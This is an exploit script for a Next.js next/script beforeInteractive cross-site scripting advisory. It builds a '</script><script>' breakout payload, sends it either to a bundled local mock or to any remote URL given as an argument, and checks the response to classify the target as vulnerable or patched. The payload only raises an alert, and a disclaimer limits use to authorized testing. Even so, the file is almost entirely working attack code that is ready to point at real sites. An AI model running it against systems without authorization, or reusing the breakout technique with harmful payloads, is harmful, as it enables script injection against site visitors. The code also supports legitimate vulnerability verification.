#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-gx5p-jg67-6x7h -- Next.js next/script beforeInteractive XSS exploit.

Target spec: Next.js < 16.2.5 with any page that forwards user-controlled data
through `<Script strategy="beforeInteractive" {...rest}>` props (e.g. `id`,
`data-*`, `crossOrigin`, `nonce`-via-string-concat, etc.).

The pre-patch emitter JSON-stringifies the props into an inline <script> body
without HTML-escaping `<`, `>`, `&`, U+2028, U+2029. A `</script>...<script>`
sequence breaks out of the inline element at the HTML tokenizer level.

Usage:
    python3 exploit.py                       # spin up local mock + exploit
    python3 exploit.py http://target/path    # exploit a remote target

Exit codes:
    0  -- vulnerable
    1  -- patched
    2  -- network/empty response
    3  -- inconclusive
"""
import os
import shutil
import signal
import subprocess
import sys
import time
import urllib.parse
import urllib.request

# ---- ANSI colours ----------------------------------------------------------
class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-gx5p-jg67-6x7h  next/script beforeInteractive XSS" + C.X)
    print(C.CY + C.B + "  Patched in Next.js 16.2.5 (commit 66f6017f15)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int = 8080) -> subprocess.Popen | None:
    """Start the bundled vulnerable mock when no target is given."""
    here = os.path.dirname(os.path.abspath(__file__))
    server_py = os.path.join(here, "vulnerable-app", "server.py")
    if not os.path.exists(server_py):
        sys.exit(f"{C.R}[-] missing {server_py}{C.X}")
    proc = subprocess.Popen(
        [sys.executable, server_py, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def run(target: str | None) -> int:
    banner()

    proc: subprocess.Popen | None = None
    if not target:
        print(C.Y + "[*] no target supplied -> launching local mock on :8080" + C.X)
        proc = maybe_start_mock(8080)
        target = "http://127.0.0.1:8080/"

    # The XSS payload. Includes the VALIDATION_TOKEN placeholder so that
    # verify_vulnerability can substitute the runtime token and dynamically
    # confirm execution in a real headless browser.
    raw_payload = '</script><script>window.__pwn=true;alert("VALIDATION_TOKEN")</script><x x="'
    enc = urllib.parse.quote(raw_payload, safe="")
    url = f"{target.rstrip('/')}/?tid={enc}"

    print(f"{C.B}[*] Target URL:{C.X} {url}\n")

    try:
        with urllib.request.urlopen(url, timeout=10) as r:
            body = r.read().decode("utf-8", errors="replace")
    except Exception as e:
        print(C.R + f"[-] request failed: {e}" + C.X)
        return 2
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass

    print(C.B + "--- response (truncated) ---" + C.X)
    print("\n".join(body.splitlines()[:40]))
    print(C.B + "----------------------------" + C.X + "\n")

    # The actual XSS-relevant breakout is just literal `</script><script>` in
    # what should have been an inline script body. JSON-stringify escapes the
    # inner `"` to `\"`, but `<` `>` `&` are NOT JSON metacharacters, so they
    # survive verbatim. The HTML tokenizer then closes the inline next/script.
    needle = "</script><script>"
    escaped_marker = "\\u003c/script\\u003e\\u003cscript\\u003e"
    in_script_block = "(self.__next_s=self.__next_s||[]).push("

    # Be precise: look for the breakout INSIDE the __next_s push block (avoids
    # flagging legitimate <script>...</script> elements elsewhere on the page).
    push_idx = body.find(in_script_block)
    body_after_push = body[push_idx:] if push_idx != -1 else body

    if needle in body_after_push:
        print(C.G + C.B + "[+] VULNERABLE -- raw </script> survived to the wire." + C.X)
        print(C.G + "    The HTML tokenizer terminates the inline next/script element")
        print("    and the attacker payload runs as a brand-new <script>." + C.X)
        print()
        print(C.G + f"    Payload (decoded): {raw_payload}" + C.X)
        print()
        print(C.Y + "[i] Hand this URL to verify_vulnerability (type=xss) to dynamically" + C.X)
        print(C.Y + "    confirm with VALIDATION_TOKEN substitution." + C.X)
        return 0
    if escaped_marker in body:
        print(C.R + "[-] PATCHED -- htmlEscapeJsonString is rewriting < > & to \\uXXXX." + C.X)
        return 1

    print(C.Y + "[?] inconclusive -- payload neither verbatim nor \\u003c-escaped." + C.X)
    return 3


if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else None
    sys.exit(run(target))